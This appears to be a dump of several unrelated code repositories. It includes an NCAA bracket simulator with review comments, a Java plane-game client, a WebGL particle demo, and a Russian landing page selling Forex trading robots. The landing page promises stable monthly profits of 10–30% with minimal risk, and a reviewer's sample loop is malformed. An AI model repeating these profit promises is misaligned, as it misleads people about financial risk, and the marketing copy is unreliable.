// with additional information. Without going into too much detail, the main benefit
// here is code that's easier to reason about in chunks, since each function is a
// black box that takes inputs and spits out outputs. You can now focus on the
// behavior of each function individually without worrying about variables in the
// rest of your program.
//
// Imperative Programming
// ----------------------
// Instances of objects _are_ changed. This is what you are doing with your `regions`
// object. As the program progresses, the single `regions` variable defined at the
// top is changed. This means that as you are writing code, you have to be aware of
// the global `regions` variable and how other functions might be modifying it.
//
// This type of program is better suited to an object-oriented approach. With your
// program, you might do something like:
//
// function Bracket(regions) {
// this.regions = regions;
//
// this.playRounds = function(roundNumber) { ... plays all the rounds ... };
// this.playRound = function(roundNumber) { ... plays a single round ... };
// this.draw = function() { ...keep all the html drawing here... };
// }
//
// function Region(name, teams) {
// this.name = name;
// this.teams = teams;
//
// this.draw = function() { ...keep all the html drawing here... };
// }
//
// function Match(team1, team2) {
// this.team1 = team1;
// this.team2 = team2;
//
// this.play = function(team1, team2) { ...do stuff and return winning team... };
// this.draw = function() { ...keep all the html drawing here... };
// }
//
// var regions = [];
// for (var i; i = 0; i < REGION_NAMES.length) {
// regions.push(new Region(REGION_NAMES[i]));
// }
//
// var bracket = new Bracket(regions);
//
// function playRounds() {
// // this is the function bound to your button
// bracket.playRounds();
// }
//
// Super rough, but the key difference from your existing program is that instead of
// focusing everything around individual _functions_, you're focusing everything
// around _classes_. This is easier to reason about because you have objects that
// map to real world concepts. Your code reads much like you would describe the
// events to a human being.
//
// This version of the bracket program has global state and functions that modify it,
// so it is kind of a hybrid method. In this small example that's not the end of the
// world, but at any sort of scale that becomes very hard to reason about.
// Pretty sure `const` is ES2015 only. Might want `var` here.
const REGION_NAMES = ["East", "West", "Midwest", "South"];
// this array is key - it ensure that winners from each round are matched
// appropriately in the subsequent round.
var seedOrder = [1, 16, 8, 9, 5, 12, 4, 13, 6, 11, 3, 14, 7, 10, 2, 15];
var regions = {};
// Generate an Object (regions) that contains 4 arrays (one per region)
// I don't think you technically need a button to run this code, right?
// You could populate the regions when the script is first loaded?
var genRegions = function(){
for (var i = 1; i <= REGION_NAMES.length; i++ ){
// See the "High Level" comment at the top, but also, might it be easier
// to have regions be an array of arrays? Or an object of objects? You
// could avoid all the messy string building and access it like `regions[i][0]`.
regions["region" + i + "_" + 1] = [];
}
};
// Generate 16 team objects per regional array. Each has Name, Seed, & Score.
// I don't think you technically need a button here either, unless I'm
// misunderstanding the need for the score below. It seems like this code will
// always run exactly the same, and is more initialization of state rather than
// something that needs to be re-usable. It is nice to compartmentalize this logic
// in a function but you could remove 2 buttons and just do:
//
// initRegions() {
// var regions = {};
// // init `regions` object and seed data
// return regions;
// }
//
// var regions = initRegions();
var genSeeds = function () {
var team = 1;
for (var i = 1; i <= REGION_NAMES.length; i ++) {
for (var j = 0; j < seedOrder.length; j++) {
regions["region" + i + "_" + 1][j] = {
name: "team" + team++,
seed: seedOrder[j],
score1: Math.random() // I'm a little confused why a score is generated here? Shouldn't scores be generated when playing the rounds?
} ;
}
}
};
// For rounds 1 - 4, within each region array, play match between team[a] and
// team[a+1]. Winner advances to new array (eg: region1_2, region1_3...)
// Winner is also assigned a new score for the subsequent round.
var tr, // tournament round (starts @ 1, increments to 4)
result, // builds up string to insert into HTML
fav, // the "favorite" or higher seeded team in a paring
und, // the underdog of said paring
winner, // the team that won the match
id; // build up HTML id for injection
var playRounds = function () {
for (tr = 1; tr <= 4; tr++ ) {
for (var i = 1; i <= REGION_NAMES.length; i++) {
result = "";
for (var j = 0, x = regions["region" + i + "_" + tr]; j < x.length; j ++) {
fav = x[j];
und = x[++j];
winner = (fav["score" + tr] >
(fav.seed / ( fav.seed + und.seed)))
? fav : und ;
winner["score" + (tr + 1)] = Math.random();
regions["region" + i + "_" + (tr + 1)] =
regions["region" + i + "_" + (tr + 1)] || [] ;
regions["region" + i + "_" + (tr + 1)][(j - 1) / 2] = winner
// You could make this function easier to understand by abstracting away
// view-generation code into its own function. The current wall of code is
// a bit daunting to approach.
result += "<br />" + fav.seed + ". " +
fav.name + " - " +
fav["score" + tr].toFixed(3) + "<br / >" +
und.seed + ". " + und.name +
"<br /> <b>Winner: " + winner.seed + ". </b>" + winner.name + "<br />" ;
}
id = "sub_col_" + i + "_" + tr;
document.getElementById(id).innerHTML += result;
}
}
};
// Take the winner from each region, and play match between region 1 vs 2,
// and region 3 vs 4. Advance winners to "finalists" array
var playFinalFour = function () {
tr = 5, result = "";
for (var i = 1; i <= 4; i++){
fav = regions["region" + i + "_" + tr][0];
fav.region = REGION_NAMES[i - 1];
console.log("Fav = " + fav.name + " from " + fav.region);
i++;
und = regions["region" + i + "_" + tr][0];
und.region = REGION_NAMES[i - 1];
console.log("Und = " + und.name + " from " + und.region);
winner = (fav["score" + tr] > (fav.seed / ( fav.seed + und.seed )))
? fav : und ;
winner["score" + (tr + 1)] = Math.random();
regions.finalists = regions.finalists || [];
regions.finalists.push(winner);
result += "<br /> <b>" + fav.region + ":</b> " +
fav.seed + ". " + fav.name + " - " +
fav["score" + tr].toFixed(3) + "<br / > <b>" +
und.region + ":</b> " + und.seed + ". " + und.name +
"<br /> <b>Winner: " + winner.seed + ". </b>" +
winner.name + "<br />" ;
}
document.getElementById("final_four").innerHTML += result;
};
// Play match between Finalists. Report out winner.
var playChampGame = function () {
tr = 6, result = "" ;
fav = regions.finalists[0];
und = regions.finalists[1];
winner = (fav["score" + tr] > (fav.seed / ( fav.seed + und.seed )))
? fav : und ;
result += "<br /> <b>" + fav.region + ":</b> " +
fav.seed + ". " + fav.name + " - " +
fav["score" + tr].toFixed(3) + "<br / > <b>" +
und.region + ":</b> " + und.seed + ". " + und.name +
"<br /> <b>The winner is... " + winner.name + ". </b> The " +
winner.seed + " seed from the " + winner.region + "!! <br />" ;
document.getElementById("champ_game").innerHTML += result;
};
|
7329635022ce6945d683e204b5bdb48c70318a18
|
[
"JavaScript"
] | 1
|
JavaScript
|
mcdougal/ncaa-brackets
|
bed8b4adbd6491c8e97a4beb03f2f08e13ef9efb
|
d25e84b5a4a516597badfe259bb75919ce78148a
|
refs/heads/master
|
<repo_name>rrosenb12/dunder-mifflin-rails-review-nyc01-seng-ft-060120<file_sep>/app/models/dog.rb
class Dog < ApplicationRecord
has_many :employees
def count_employees
self.employees.count
end
end
|
7599d174b7120bded9b555f7c72d1c5b1a1cdff7
|
[
"Ruby"
] | 1
|
Ruby
|
rrosenb12/dunder-mifflin-rails-review-nyc01-seng-ft-060120
|
18b4b8ce21d71af21ab205feac1496be7118a0f0
|
ef4ff91b3c2c747f6a9b80e85ffa59974bab0fb0
|
refs/heads/master
|
<file_sep>package gamePlay;
import main.Main;
public class Play {
public static void play(final int roomID) {
Main.getFrame().setVisible(false);
Main.displayNumberOfMissilesLeft(Main.numberOfMissiles);
Main.displayLevel(1);
Main.displayBigLevel(1);
Main.hidePlayerID();
Main.displayGameLog("");
Main.displayGameLog("");
Main.displayGameLog("");
Main.displayGameLog("");
// load all data from server
LoadDataFromServer.loadDataFromServer(roomID);
// move plane
MovePlane.movePlane(roomID);
// launch missile
LaunchMissile.missileIndex = 0;
LaunchMissile launchMissile = new LaunchMissile();
launchMissile.launchMissile(roomID);
Main.getFrame().setVisible(true);
}
}
<file_sep>package model;
import java.io.Serializable;
public class Missile implements Serializable{
/**
*
*/
private static final long serialVersionUID = 1L;
int playerID;
int missileID;
int x;
int y;
String status;
public int getPlayerID() {
return playerID;
}
public void setPlayerID(int playerID) {
this.playerID = playerID;
}
public int getMissileID() {
return missileID;
}
public void setMissileID(int missileID) {
this.missileID = missileID;
}
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
public Missile(int playerID, int missileID, int x, int y, String status) {
super();
this.playerID = playerID;
this.missileID = missileID;
this.x = x;
this.y = y;
this.status = status;
}
}
<file_sep>package gamePlay;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.IOException;
import javax.swing.Timer;
import main.Main;
import objectByteTransform.Deserialize;
public class LoadDataFromServer {
public static void loadDataFromServer(final int roomID) {
int delay = 10;
ActionListener taskPerformer = new ActionListener() {
int i = 0;
@Override
public void actionPerformed(ActionEvent evt) {
try {
if (Main.lblCenterMessage.isVisible()
&& Main.lblCenterMessage.getText().equals(
"Game Over!")) {
((Timer) evt.getSource()).stop();
return;
}
Main.outToServer.writeInt(4);
Main.outToServer.writeInt(roomID);
while ((i = Main.inFromServer.readInt()) != 0) {
byte[] planeModelListInByte = new byte[i];
Main.inFromServer.read(planeModelListInByte);
DisplayAllPlayers.modelPlaneList = Deserialize
.deserializePlaneModelArrayList(planeModelListInByte);
break;
}
// load all missiles
Main.outToServer.writeInt(5);
Main.outToServer.writeInt(roomID);
while ((i = Main.inFromServer.readInt()) != 0) {
byte[] missileModelListInByte = new byte[i];
Main.inFromServer.read(missileModelListInByte);
DisplayAllMissiles.modelMissileList = Deserialize
.deserializeMissileModelArrayList(missileModelListInByte);
break;
}
// load all enemies
Main.outToServer.writeInt(6);
Main.outToServer.writeInt(roomID);
while ((i = Main.inFromServer.readInt()) != 0) {
byte[] enemyModelListInByte = new byte[i];
Main.inFromServer.read(enemyModelListInByte);
DisplayAllEnemies.modelEnemyList = Deserialize
.deserializeEnemyModelArrayList(enemyModelListInByte);
break;
}
DisplayAllPlayers.displayAllPlayers();
DisplayAllMissiles.displayAllMissiles();
DisplayAllEnemies.displayAllEnemies();
} catch (IOException e) {
Main.displayGameLog("something worng");
Main.displayGameLog(e.getMessage());
((Timer) evt.getSource()).stop();
return;
}
}
};
new Timer(delay, taskPerformer).start();
}
}
<file_sep>package model;
import java.io.Serializable;
public class Enemy implements Serializable{
/**
*
*/
private static final long serialVersionUID = 1L;
int ID;
int x;
int y;
String status;
public int getID() {
return ID;
}
public void setID(int iD) {
ID = iD;
}
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
public Enemy(int iD, int x, int y, String status) {
super();
ID = iD;
this.x = x;
this.y = y;
this.status = status;
}
}
<file_sep>package gamePlay;
import java.awt.Image;
import java.util.ArrayList;
import java.util.List;
import javax.swing.ImageIcon;
import javax.swing.JLabel;
import main.Main;
import model.Enemy;
public class DisplayAllEnemies {
static JLabel lblEnemy = null;
final static Image enemyImage = new ImageIcon(Main.getFrame().getClass()
.getResource("/enemyPlaneGraySmaller.png")).getImage();
static ArrayList<JLabel> lblEnemyList = new ArrayList<JLabel>();
// model enemy list - get from server to display all enemies
static List<Enemy> modelEnemyList = null;
static int level = 0;
public static void displayAllEnemies() {
if (modelEnemyList != null) {
if (modelEnemyList.size() == 0) {
Main.displayBigLevel(level + 1);
Main.displayLevel(level + 1);
} else {
Main.hideBigLevel();
}
if (Main.lblCenterMessage.isVisible()
&& Main.lblCenterMessage.getText().equals("Game Over!")) {
for (int i = 0; i < modelEnemyList.size(); i++) {
lblEnemyList.get(i).setVisible(false);
}
} else {
for (int i = 0; i < modelEnemyList.size(); i++) {
if (modelEnemyList.get(i).getStatus().equals("created"))
createEnemyList(i);
else if (modelEnemyList.get(i).getStatus().equals("moving")) {
moveEnemyList(i);
} else if (modelEnemyList.get(i).getStatus().equals("dead")) {
deadEnemyList(i);
}
}
for (int j = modelEnemyList.size(); j < lblEnemyList.size(); j++) {
removedeadEnemyList(j);
}
}
}
}
public static void createEnemyList(int i) {
level = ((modelEnemyList.get(i).getID() / 10) - 1) / 2 + 1;
Main.displayLevel(level);
if (lblEnemyList.size() < modelEnemyList.size()) {
lblEnemy = new JLabel("");
lblEnemy.setIcon(new ImageIcon(enemyImage));
lblEnemy.setSize(enemyImage.getWidth(null),
enemyImage.getHeight(null));
lblEnemy.setVisible(false);
lblEnemyList.add(lblEnemy);
Main.getFrame().getContentPane()
.add(lblEnemyList.get(lblEnemyList.indexOf(lblEnemy)));
}
}
@SuppressWarnings("deprecation")
public static void moveEnemyList(int i) {
//
if (lblEnemyList.size() > i) {
lblEnemyList.get(i).move(modelEnemyList.get(i).getX(),
modelEnemyList.get(i).getY());
lblEnemyList.get(i).setVisible(true);
}
}
public static void deadEnemyList(int i) {
if (lblEnemyList.size() > i
&& lblEnemyList.size() >= modelEnemyList.size()) {
lblEnemyList.get(i).setVisible(false);
}
}
public static void removedeadEnemyList(int i) {
if (lblEnemyList.size() > i
&& lblEnemyList.size() >= modelEnemyList.size()) {
lblEnemyList.get(i).setVisible(false);
Main.getFrame().getContentPane().remove(lblEnemyList.get(i));
lblEnemyList.remove(i);
}
}
}
|
1a98e3f7d754afb6cd5bb66a2c826e039b21b02d
|
[
"Java"
] | 5
|
Java
|
phandinhtuong/NPPlaneShootingClient
|
fbb437ec171e43c1717201ab138737c2f525dff9
|
680d50de21ac9e7bbd4145873d6afb7d60808149
|
refs/heads/master
|
<repo_name>msfeldstein/VertexNoise<file_sep>/index.js
var fs = require('fs')
var twgl = require('twgl.js')
var glslify = require('glslify')
var canvas = require('./full-screen-canvas')()
canvas.style.background = "#18212d"
var gl = twgl.getWebGLContext(canvas)
var positions = []
var cellPositions = []
var gridPositions = []
GRID_SIZE = 2
CELL_SIZE = 560
MARGIN = 80
NUM_PARTICLES = GRID_SIZE * GRID_SIZE * CELL_SIZE * CELL_SIZE
var fullWidth = (CELL_SIZE + MARGIN) * GRID_SIZE - MARGIN
var halfWidth = fullWidth / 2
for (var row = 0; row < GRID_SIZE; row++) {
for (var col = 0; col < GRID_SIZE; col++) {
var left = -halfWidth + row * (CELL_SIZE + MARGIN)
var top = -halfWidth + col * (CELL_SIZE + MARGIN)
for (var x = 0; x < CELL_SIZE; x += 1) {
for (var y = 0; y < CELL_SIZE; y += 1) {
positions.push(left + x, top + y, 0)
cellPositions.push(x, y, 0)
gridPositions.push(row, col, 0)
}
}
}
}
console.log(gridPositions)
var arrays = {
position: positions,
cellPosition: cellPositions,
gridPosition: gridPositions
}
var programInfo = twgl.createProgramInfo(gl, [
glslify(__dirname + '/vertex.vs'),
glslify(__dirname + '/fragment.fs')
]);
var bufferInfo = twgl.createBufferInfoFromArrays(gl, arrays)
function render(time) {
var uniforms = {
TIME: time * 0.0001,
numParticles: NUM_PARTICLES,
resolution: [gl.canvas.width, gl.canvas.height],
cellSize: CELL_SIZE,
gridSize: GRID_SIZE
};
requestAnimationFrame(render)
twgl.resizeCanvasToDisplaySize(gl.canvas)
gl.viewport(0, 0, gl.canvas.width, gl.canvas.height)
gl.useProgram(programInfo.program)
gl.enable(gl.BLEND)
gl.blendEquation(gl.FUNC_ADD)
gl.blendFunc(gl.SRC_ALPHA, gl.ONE_MINUS_SRC_ALPHA);
twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo)
twgl.setUniforms(programInfo, uniforms);
twgl.drawBufferInfo(gl, gl.POINTS, bufferInfo)
}
requestAnimationFrame(render)
|
dc1b29c5d7f9eef08624a7314b48462ecf56f255
|
[
"JavaScript"
] | 1
|
JavaScript
|
msfeldstein/VertexNoise
|
3399f8a782666fa8dfc88934e82b34f06104050d
|
7488492dba04ac959347e42532b540557d03bb23
|
refs/heads/master
|
<file_sep>let hamburger = document.querySelector(".hamburger");
let menu = document.querySelector('.main-nav');
hamburger.addEventListener("click", function() {
this.classList.toggle("is-active");
if(this.classList.contains("is-active")){
menu.style.display = 'block';
}
else {
console.log(this.classList.contains("is-active"));
menu.style.display = 'none';
}
}, false);
const page_menu = document.querySelector('.page-menu__wrapper');
page_menu.addEventListener('click', (e) => {
e.preventDefault();
let link = e.target;
if (!link.classList.contains('page-menu__link')) {
return;
}
let section_item = document.querySelector(link.hash)
scrollToTarget(section_item);
})
const scrollToTarget = (section) => {
if (section != undefined) {
let target_pos = section.offsetTop;
window.scrollTo({
top: target_pos,
behavior: "smooth"
});
}
}
var accordion = (function (element) {
var _getItem = function (elements, className) { // функция для получения элемента с указанным классом
var element = undefined;
elements.forEach(function (item) {
if (item.classList.contains(className)) {
element = item;
}
});
return element;
};
return function () {
var _mainElement = {}, // .accordion
_items = {}, // .accordion-item
_contents = {}; // .accordion-item-content
var _actionClick = function (e) {
if (!e.target.classList.contains('accordion-item-header')) { // прекращаем выполнение функции если кликнули не по заголовку
return;
}
e.preventDefault(); // Отменям стандартное действие
// получаем необходимые данные
var header = e.target,
item = header.parentElement,
itemActive = _getItem(_items, 'show');
console.log(item)
if (itemActive === undefined) { // добавляем класс show к элементу (в зависимости от выбранного заголовка)
item.classList.add('show');
} else {
// удаляем класс show у ткущего элемента
itemActive.classList.remove('show');
// если следующая вкладка не равна активной
if (itemActive !== item) {
// добавляем класс show к элементу (в зависимости от выбранного заголовка)
item.classList.add('show');
}
}
},
_setupListeners = function () {
// добавим к элементу аккордиона обработчик события click
_mainElement.addEventListener('click', _actionClick);
};
return {
init: function (element) {
_mainElement = (typeof element === 'string' ? document.querySelector(element) : element);
_items = _mainElement.querySelectorAll('.accordion-item');
_setupListeners();
}
}
}
})();
var accordion1 = accordion();
accordion1.init('#accordion');
let swiper = new Swiper('.swiper-container', {
breakpoints: {
// when window width is >= 320px
320: {
direction: 'vertical', // вертикальная прокрутка
slidesPerColumnFill: 'row',
slidesPerView: 2,
autoHeight: true,
spaceBetween: 20
},
// when window width is >= 480px
480: {
slidesPerView: 3,
spaceBetween: 20,
direction: 'vertical', // вертикальная прокрутка
slidesPerColumnFill: 'row',
},
// when window width is >= 640px
640: {
slidesPerView: 3,
spaceBetween: 20,
direction: 'vertical',
},
768: {
slidesPerView: 3,
direction: 'horizontal',}
},
direction: 'horizontal',
slidesPerView: 3,
spaceBetween: 20,
pagination: {
el: '.swiper-pagination',
clickable: true,
},
});
const height_win = document.documentElement.clientHeight;
const back_to_top_btn = document.querySelector('.back-to-top');
const page_menu_pos = page_menu.offsetTop;
const page_menu_outer_pos = page_menu_pos + page_menu.clientHeight;
const scrollWindow = () => {
setTimeout(() => {
if (window.pageYOffset > page_menu_outer_pos) {
back_to_top_btn.classList.add('back-to-top-visible');
}
else {
back_to_top_btn.classList.remove('back-to-top-visible');
console.log(window.pageYOffset,page_menu_outer_pos );
console.log('del class');
}
},500)
}
const backToTop = () => {
window.scrollTo({top:0, behavior: "smooth"})
}
window.addEventListener('scroll',scrollWindow);
back_to_top_btn.addEventListener('click',backToTop)<file_sep>let swiper = new Swiper('.swiper-container', {
breakpoints: {
// when window width is >= 320px
320: {
direction: 'vertical', // вертикальная прокрутка
slidesPerColumnFill: 'row',
slidesPerView: 2,
autoHeight: true,
spaceBetween: 20
},
// when window width is >= 480px
480: {
slidesPerView: 3,
spaceBetween: 20,
direction: 'vertical', // вертикальная прокрутка
slidesPerColumnFill: 'row',
},
// when window width is >= 640px
640: {
slidesPerView: 3,
spaceBetween: 20,
direction: 'vertical',
},
768: {
slidesPerView: 3,
direction: 'horizontal',}
},
direction: 'horizontal',
slidesPerView: 3,
spaceBetween: 20,
pagination: {
el: '.swiper-pagination',
clickable: true,
},
});
<file_sep><!DOCTYPE html>
<html lang="RU">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1" no-scale="1" />
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<!--
<link rel="icon" href="img/favicons/favicon-16x16.png" sizes="16x16" type="image/png">
<link rel="icon" href="img/favicons/favicon-32x32.png" sizes="32x32" type="image/png">
<link rel="shortcut icon" href="img/favicons/favicon.ico">
<link rel="mask-icon" href="img/favicons/safari-pinned-tab.svg" color="#5bbad5">
-->
<link rel="stylesheet" type="text/css" href="css/styles.min.css">
<script src="js/libs.min.js"></script>
<title>Робот на бирже</title>
</head>
<body>
<header class="header">
<div class="container">
<div class="top-bar">
<h2 class="header__logo">Forexro<span>bots</span></h2>
<div class="hamburger hamburger--elastic header__hamburger" tabindex="0" aria-label="Menu" role="button" aria-controls="navigation">
<div class="hamburger-box">
<div class="hamburger-inner"></div>
</div>
</div>
</button>
<nav class="nav main-nav">
<ul class="main-nav__list">
<li class="main-nav__item"><a class="main-nav__item-link" href="#">Роботы</a></li>
<li class="main-nav__item"><a class="main-nav__item-link" href="#">Гланая</a></li>
<li class="main-nav__item"><a class="main-nav__item-link" href="#">О нас</a></li>
<li class="main-nav__item"><a class="main-nav__item-link" href="#">Блог</a></li>
<li class="main-nav__item"><a class="main-nav__item-link" href="#">Контакты</a></li>
</ul>
</nav>
</div>
</div>
</header>
<section class="main-banner">
<div class="container main-banner__container">
<div class="main-banner__text-wrapper">
<h2 class="main-banner__title">Мы помогли десяткам людей начать инвестировать. Поможем и тебе</h2>
<p class="main-banner__text">Начни зарабатывать на рынке Форекс
<span>уже сегодня!</span>
</p>
</div>
<button class="main-banner__btn-mobile">Запросить демо</button>
<div class="more-info">
<h2 class="more-info__title">Больше информации?</h2>
<p class="more-info__text">Оставтье ваше имя и номер телефона, наш менеджер перезвонит вам сразу</p>
<form class="more-info__form">
<div class="more-info__input-wrapper">
<input type="text" placeholder="Имя:" class="more-info__form-input">
<input type="text" placeholder="Номер телефона:" class="more-info__form-input">
</div>
<button class="btn btn--mobile">Связаться с нами</button>
</form>
<p class="more-info__text">By submitting this form, you are agreeing to our Terms of Service and Privacy Policy.</p>
<div class="social-icons">
<svg class="social-icons__icon">
<use xlink:href="img/svg/sprite/sprite.svg#vk"></use>
</svg>
<svg class="social-icons__icon">
<use xlink:href="img/svg/sprite/sprite.svg#tm"></use>
</svg>
<svg class="social-icons__icon">
<use xlink:href="img/svg/sprite/sprite.svg#ws"></use>
</svg>
</div>
</div>
</div>
</section>
<section class="parteners" id="parteners">
<div class="parteners__wrapper">
<div class="parteners__item"><img src="img/content/case_Forex4you.jpg"></div>
<div class="parteners__item"><img src="img/content/case_guide.jpg"></div>
<div class="parteners__item"><img src="img/content/case_Tinkoff.jpg"></div>
<div class="parteners__item"><img src="img/content/case_Forex4you.jpg"></div>
<div class="parteners__item"><img src="img/content/case_guide.jpg"></div>
<div class="parteners__item"><img src="img/content/case_Tinkoff.jpg"></div>
</div>
</section>
<main class="main">
<section class="page-menu">
<div class="container">
<div class="page-menu__wrapper">
<h2 class="page-menu__title">Оглавление</h2>
<ul class="page-menu__list">
<li class="page-menu__list-item"><a href="#parteners" class="page-menu__link" >Наши партнеры</a></li>
<li class="page-menu__list-item"><a href="#what-is" class="page-menu__link" >Что такое рынок Форекс?</a></li>
<li class="page-menu__list-item"><a href="#types-robots" class="page-menu__link" >Виды торговых роботов Форекс </a></li>
</ul>
<ul class="page-menu__list">
<li class="page-menu__list-item"><a href="#trading" class="page-menu__link" >Торговля на Форекс</a></li>
<li class="page-menu__list-item"><a href="#advantages" class="page-menu__link" >Преимущества торговых роботов Форекс </a></li>
<li class="page-menu__list-item"><a href="#faq" class="page-menu__link" >Часто задоваемые вопросы</a></li>
</ul>
</div>
</div>
</section>
<section class="what-is" id="what-is">
<div class="container">
<div class="what-is__wrapper">
<h2 class="what-is__title" >Что такое рынок Форекс? </h2>
<div class="what-is__box">
<div class="what-is__box-textcontent">
<p class="what-is__text">Forex — это всемирный валютный рынок, на котором осуществляются сделки по покупке и продаже валют с целью получения прибыли благодаря изменению курса валют.</p>
<p class="what-is__text">В 2019 году ежедневный торговый оборот рынка составил от 5 до 7 трлн. долларов.
</p>
</div>
<picture class="what-is__box-image">
<source media="(max-width: 767px)" srcset="img/content/what-is__mobile--sm.png">
<source media="(min-width: 768px)" srcset="img/content/what-is__mobile.png">
<img src="img/content/what-is__mobile.png">
</picture>
</div>
<div class="what-is__box ">
<div class="what-is__box-textcontent">
<p class="what-is__text">Форекс торговля является отличным способом заработка на инвестициях, так как товаром в данном случае выступает валюта, не теряющая свою ценность. На сегодняшний день любой желающий имеет возможность стать инвестором, участником рынка и заработать на Форекс.
</p>
</div>
<picture class="what-is__box-image">
<source media="(max-width: 767px)" srcset="img/content/what-is__mobile2--sm.png">
<source media="(min-width: 768px)" srcset="img/content/what-is__mobile2.png">
<img src="img/content/what-is__mobile2.png">
</picture>
<div class="what-is__box-textcontent">
<p class="what-is__text">
Автоматические торговые системы набирают большую популярность у трейдеров, так как значительно облегчают и упрощают процесс торговли.
</p>
</div>
</div>
</div>
</div>
</section>
<section class="types-robots" id="types-robots">
<div class="container">
<h2 class="types-robots__title">Виды торговых роботов Форекс</h2>
<div class="types-robots__box-content">
<img class="types-robots__robot-image" src="img/content/smart-robot1.png">
<div class="types-robots__text-wrapper">
<h2 class="types-robots__robot-title">ALFA BOT SMART</h2>
<p class="types-robots__short-description">Работает на 12 валютных парах</p>
<p class="types-robots__text">Плавно заводит все валютные пары на рынок</p>
<p class="types-robots__text">Автоматически включает плавную остановку при присадке более 20% и запускает торговлю
обратно при снижении просадки до 15%</p>
<p class="types-robots__text">Подстраивает мани менеджмент под размер депозита</p>
<p class="types-robots__text">Работает с любым брокером</p>
</div>
<div class="types-robots__links-wrapper">
<button class="btn btn--mobile">Подробнее о ALFA BOT SMART</button>
<a href="#" class="types-robots__feedbacklink">Связаться с нами</a>
</div>
</div>
<div class="types-robots__box-content types-robots__box-content--reverse">
<img class="types-robots__robot-image" src="img/content/smart-robot2.png">
<div class="types-robots__text-wrapper">
<h2 class="types-robots__robot-title">ALFA BOT UP1</h2>
<p class="types-robots__short-description">Полностью автономный</p>
<p class="types-robots__text">За счет ультраконсервативных настроек Советник стабильно зарабатывает от 5-20% ежемесячно</p>
<p class="types-robots__text">Заработок советника происходит ежедневно</p>
<p class="types-robots__text">Депозит в долларах, а это значит что вы можете дополнительно заработать на курсе доллар/рубль</p>
<p class="types-robots__text">Вывод денег на карту в любое время и любую сумму</p>
</div>
<div class="types-robots__links-wrapper">
<button class="btn btn--mobile">Подробнее о ALFA BOT FAST</button>
<a href="#" class="types-robots__feedbacklink">Связаться с нами</a>
</div>
</div>
<div class="types-robots__box-content">
<img class="types-robots__robot-image" src="img/content/smart-robot3.png">
<div class="types-robots__text-wrapper">
<h2 class="types-robots__robot-title">ALFA BOT FAST</h2>
<p class="types-robots__short-description">Работает только в направлении глобального тренда.</p>
<p class="types-robots__text">4 стратегии определения глобального тренда</p>
<p class="types-robots__text">Используется самая эффективная на данный момент на рынке стратегия — (авторская) сетка усреднения</p>
<p class="types-robots__text">Открывает сделки усреднения в момент разворота цены</p>
<p class="types-robots__text">Минимальные риски за счет трендовой торговли и аккуратного усреднения</p>
</div>
<div class="types-robots__links-wrapper">
<button class="btn btn--mobile">Подробнее о ALFA BOT FAST</button>
<a href="#" class="types-robots__feedbacklink">Связаться с нами</a>
</div>
</div>
</div>
</section>
<section class="trading" id="trading">
<div class="container">
<div class="trading__wrapper">
<h2 class="trading__title" >Торговля на Форекс</h2>
<div class="trading__box">
<div class="trading__box-textcontent">
<p class="trading__text">Автоматические торговые системы набирают большую популярность у трейдеров, так как значительно облегчают и упрощают процесс торговли.</p>
<p class="trading__text">Благодаря долгой и кропотливой работе нашей командой в 2018 году был разработан торговый робот, приносящий стабильный доход от 10 до 30 % в месяц.
</p>
<p class="trading__text">Данный торговый робот подключается к вашему торговому терминалу и торгует за Вас в автоматическом режиме по заданным настройкам. Вам лишь остается наблюдать за его работой и получать прибыль.
</p>
</div>
<picture class="trading__box-image">
<source media="(max-width: 767px)" srcset="img/content/what-is__mobile--sm.png">
<source media="(min-width: 768px)" srcset="img/content/what-is__mobile.png">
<img src="img/content/what-is__mobile.png">
</picture>
</div>
</div>
</div>
</section>
<section class="advantages" id="advantages">
<div class="container">
<h2 class="advantages__title">Преимущества торговых роботов Форекс
</h2>
<div class="advantages__wrapper">
<div class="advantages__box">
<img src="img/content/rocket.png">
<h2 class="advantages__box-title">Скорость работы
</h2>
<p class="advantages__box-text">
Торговый робот умеет работать с различными финансовыми инструментами одновременно
</p>
</div>
<div class="advantages__box">
<img src="img/content/time.png">
<h2 class="advantages__box-title">Экономия времени
</h2>
<p class="advantages__box-text">
Торговый робот умеет работать с различными финансовыми инструментами одновременно
</p>
</div>
<div class="advantages__box">
<img src="img/content/money.png">
<h2 class="advantages__box-title">Прибыль
</h2>
<p class="advantages__box-text">
Получение прибыли в краткосрочной и в долгосрочной перспективе </p>
</div>
<div class="advantages__box">
<img src="img/content/human.png">
<h2 class="advantages__box-title">Отсутствие человеческого фактора
</h2>
<p class="advantages__box-text">
Под воздействием эмоций многие трейдеры совершают глупые и нелогичные ошибки, робот просто не умеет этого
</p>
</div>
</div>
</div>
</section>
<section class="faq" id="faq">
<div class="container">
<div class="faq__wrapper">
<h2 class="faq__title">Часто задоваемые вопросы</h2>
<!-- <div id="accordion" class="accordion" style="max-width: 400px; margin: 0 auto;"> -->
<div id="accordion" class="accordion" style="margin: 0 auto;">
<div class="accordion-item show">
<div class="accordion-item-header">
В какое время осуществляется торговля?
</div>
<div class="accordion-item-content">
Благодаря тому что Форекс имеет несколько торговых сессий: азиатской, европейской, американской и тихоокеанской, и прекращение торгов на одной торговой площадке компенсируется торгами на другой, торговля на нем ведется круглосуточно 5 дней в неделю с понедельника по пятницу.
</div>
</div>
<div class="accordion-item">
<div class="accordion-item-header">
Что такое MetaTrader4?
</div>
<div class="accordion-item-content">
Lorem ipsum dolor sit amet consectetur adipisicing elit. Dignissimos voluptas, corrupti repudiandae ea earum, aspernatur,
dolores repellat odit sed minus enim dolore sint quaerat aliquam alias iusto illum ipsa rem?
</div>
</div>
<div class="accordion-item">
<div class="accordion-item-header">
Надёжен ли брокер Forex4you?
</div>
<div class="accordion-item-content">
Lorem ipsum dolor sit amet consectetur, adipisicing elit. Doloremque cum pariatur incidunt fugit id repellendus voluptatum,
odio modi quo eum facere doloribus numquam? Ipsam repudiandae, cumque cupiditate rerum deserunt necessitatibus?
</div>
</div>
<div class="accordion-item">
<div class="accordion-item-header">
